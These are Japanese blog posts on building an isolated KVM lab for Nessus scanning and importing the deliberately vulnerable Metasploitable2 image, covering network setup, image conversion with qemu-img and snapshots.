同一機器のIPアドレスの変更 増加
新規アクティベーションコード (essentials) への変更 変化なし
新規仮想マシンへのインストール 0になる

そのため、nessus essentials を使用するときは、使用前のスナップショットを作成し、使用する度に使用前のスナップショットに戻って新しくスキャンするといった操作をすると良いだろう。


  1. Nessusを適用するための仮想環境の構築

  2. 参考: Nessusインストールと、基本的な使用方法

  3. 私の場合はこれでうまくいったが、うまくいかない場合もあるかもしれない。もっと良い方法を募集したい。

  4. 参考: Uninstall Nessus on Linux

Nessusを適用するための仮想環境の構築

1. はじめに

この記事では、Nessusを適用する仮想環境のネットワーク構成とKVMでの実現方法を示す。

2. 仮想環境の構築

2.1 仮想環境のネットワーク構成

今回は、以下のようなネットワーク構成の仮想環境を構築する。

仮想環境のネットワーク構成

192.168.122.0/24 はインターネット接続が可能なサブネット、192.168.100.0/24 は内部で閉じた (インターネット接続ができない) サブネットとする。このような構成のネットワークを、KVMを用いて構築したい。

2.2 KVMでの実現方法

このような仮想環境を、KVMをインストールしたUbuntu20.04のlaptopに構築する。

KVMでの実現

KVMを用いて仮想マシンを作成し、上図のような Virtual Network Switch への接続にすれば良い。

内部で閉じたサブネットを作るために、Virtual Network Switch の Isolated mode を用いることにする1。 インターネット接続できるネットワークの方は、はじめから作られているもの (default) を使う。

2.3 環境の構築 (概要)

ここでは、仮想環境の構築の流れについてまとめる。具体的な手順については省略する。

2.3.1 ISOまたはVMDKのダウンロード

公式サイト等からISOファイルもしくはVMDKイメージをダウンロードする。以下にリンクを貼る。

2.3.2 ISOを用いたOSのインストール

ISOファイルを用いて Ubuntu22 と Linux mint をインストールする。具体的な手順は過去記事2に書いている。 構築の際は、ネットワークの設定に注意する。

2.3.3 VMDKイメージからの仮想マシンの構築

vmdk 形式のイメージを qcow2 に変換して、仮想マシンを作る。具体的な手順は、以前の記事3に書いている。

2.3.4 Nessus をインストールするための仮想マシンを作成する。

上図の仮想マシンの他に、Nessusをインストールしてスキャンを行うための仮想マシンを作る。ここでは、Ubuntu20を使用することにした。

ここまでの操作で仮想マシンが5つできると思う。

仮想マシンのリスト

2.3.5 IPアドレスの固定

以前の記事4に書いたようにして、各仮想マシンIPアドレスを固定する。 ただし、Windows7IPアドレスの固定については、仮想マシン内で行う5

2.3.6 スナップショットの作成

IPアドレスの固定が終わったら、現在の仮想マシンの状態を保存するためにスナップショットを作成する。スナップショットを作成することで、操作を間違えても過去に保存した状態に戻ることができる (これが仮想マシンを使うメリットである)。

KVMでスナップショットを作成するには、コマンドを用いる方法とGUIを用いる方法があるが、今回はGUIを用いる方法で行う。Virtual Machine Manager から仮想マシンを開き (左から2つ目のOpenをクリックし)、Manage VM snapshots を選択する。

スナップショットを作成するには、左下の "+" をクリックして、スナップショットの名前と説明を書くと良い。

スナップショット

過去のスナップショットに戻ると、その後に実行した処理 (その後スナップショットに保存していないもの) がなかったことになる。 つまり、ある時点T1, T2 (T1 <T2) でスナップショットを作成し、T3 (>T2) でT1時点のスナップショットに戻ると、T2からT3までに実行した処理はなかったことになり、仮想マシンの状態はT1時点のものに戻る。

Metasploitable2をKVMに導入する

1. はじめに

Nessus を用いる際に、脆弱性のある仮想マシンとして Metasploitable も導入したいと思ったので、ここではKVMにMetasploitable2をインストールする方法についてまとめる。

1.1 Metasploitable

Metasploitable は、意図的に脆弱に作られたLinuxマシンである1。 Metasploitableの仮想マシンはセキュリティのトレーニング、セキュリティテストのツール、ペネトレーションテストの練習に役立つ。信頼できないネットワークに対しては公開してはならない。

2. ダウンロードと導入

2.1 ダウンロードと導入のための準備

Sourceforge から最新版をダウンロードする2。 ダウンロードしたzipを解凍すると、以下のような構成になっていると思う。

tcbn@tcbn-N14xZU:~/Downloads/Metasploitable2-Linux$ ls
Metasploitable.nvram  Metasploitable.vmsd  Metasploitable.vmxf
Metasploitable.vmdk   Metasploitable.vmx

KVMでは vmdk 形式のファイル (VMWareのイメージ) も扱うことができるが、KVMのスナップショット機能を利用するためには qcow2 形式である必要があるため、qemu-img convert コマンドで vmdk イメージを qcow2 イメージに変換する。今回実行するコマンドは、

qemu-img convert -f vmdk -O qcow2 Metasploitable.vmdk Metasploitable.qcow2

のようになる。これで qcow2 形式のイメージが得られるので、コピー (バックアップ) をしてから使用すると良いだろう。

cp Metasploitable.qcow2 Metasploitable_cp.qcow2

また、信頼できないネットワークに公開しないために、Isolated Network のサブネットを新しく作っておき、このネットワークのみに接続することにする。サブネットの作成については、以前の記事に簡単に書いている3

2.2 導入

ここまで準備した上で、KVMにMetasploitableを導入する。導入方法については海外の方の記事で参考になるものがあった4。 Virtual Machine Manager を開き、"Create a new virtual machine" で、"Import existing disk image" を選択し、次に進む。

Create a new virtual machine

Browse の Browse Local から、作ったqcow2を選択する。

Browse Local

パスが入ったのを確認し、インストールするOSを "Generic default" として次に進む (パスを探索する権限がないといった警告が出るが、次に進んで問題ないと思う)。

Choose the OS

メモリやCPUの設定をして次に進む。

Choose Memory and CPU settings

仮想マシンの名前、ネットワークの選択をする。Network selection で、作成した Isolated network を選択することに注意する。念のため、"Customize configuration before install" にチェックを入れてから Finish する。

Ready to begin the installation

Configuration のネットワークの設定で、Isolated network になっているかを再確認して (念のため)、左上の Begin Installation をクリックする。

Configuration

少し待つと、ログイン画面が出てくる。

Login

ユーザ名とパスワードが表示されているので、この通りにログインする。IPアドレスを確かめると、Isolated Network に接続されていることがわかる。

Login and check IP address

IPアドレスを固定して使用することにする。